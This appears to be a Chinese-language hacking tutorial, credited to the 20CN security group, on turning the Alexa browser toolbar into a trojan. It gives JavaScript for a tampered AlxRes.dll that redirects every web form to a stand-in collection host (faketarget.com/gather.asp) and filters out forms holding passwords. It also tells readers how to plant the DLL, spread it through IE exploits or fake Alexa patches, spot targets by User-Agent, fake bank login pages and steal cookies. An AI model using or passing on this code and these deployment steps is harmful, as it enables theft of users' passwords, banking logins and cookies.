把Alexa工具条改装成木马

核心提示： function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {... ...try{for(i=0;i<oWebBrowser2.document.forms.length;i++){oWebBrows

function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {
... ...
try{
for(i=0;i<oWebBrowser2.document.forms.length;i++)
{
oWebBrowser2.document.forms[i].innerHTML=oWebBrowser2.document.forms[i].innerHTML+"<input name=OriginalAction type=hidden value='"+oWebBrowser2.document.forms[i].action+"'>";
oWebBrowser2.document.forms[i].action="http://www.faketarget.com/gather.asp";
}
}catch(e){}
return false;
}

以上的代码对于某些页面存在问题，有时会无法将隐藏字段添加到表单中去。

五、散布和植入木马

以上代码均是用PE资源软件修改AlxRes.dll文件实现的。所以，只要用新的AlxRes.dll文件将原来系统的AlxRes.dll替换掉。Alexa工具条在加载的时候会优先在"C:\Program Files\Internet Explorer"和"C:\Documents and Settings\[username]\桌面"这两个路径下搜索AlxRes.dll，所以也可以把修改过的AlxRes.dll放到这两个路径下，这样就不用覆盖源文件了。至于怎么安装，那可是有一大堆的IE漏洞等着你去Exploit呢，这可不是本文涉及的范围。

安装了Alexa工具条的IE的"User-Agent"会加入"Alexa Toolbar"的标记，所以很容易区分目标的IE是否已经安装了Alexa工具条：

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toobar)

也可以修改Alexa的安装文件，或者以Alexa补丁的名义来发布，这个就扯远了。

六、收集密码

你可以用FileSystemObject控件来将表单内容纪录到文件，或者直接作为参数发送到某个Web服务器，由web服务器收集纪录下来即可。为了在客户端过滤一些不包含密码的表单，最好在AlxRes.dll的代码中对收集的表单数据进行一些检查：

function test()
{
var IsPwdForm=false;
var FormStr;
try{
for(i=0;i<this.length;i++)
{
if(this.elements[i].name!="")
{
if(this.elements[i].type=="password")
IsPwdForm=true;
FormStr=FormStr+this.elements[i].name+"="+this.elements[i].value+"&";
}
}
if(IsPwdForm)
{
//表单包含密码文本，进行收集
}
}catch(e){}
return true;
}

七、其他的应用

大多数的网上银行登陆界面是由ActiveX控件实现的，无法截获表单数据，但是我们可以通过"oWebBrowser2"对象来操纵、修改浏览的页面，当然也可以伪造一个网上银行的登陆界面。还可以用来收集用户浏览网页的纪录，也可以用来窃取用户COOKIE等。

===============================================

本文版权属20CN网络安全小组及其作者所有,如有转载,请保持文章完整性并注明出处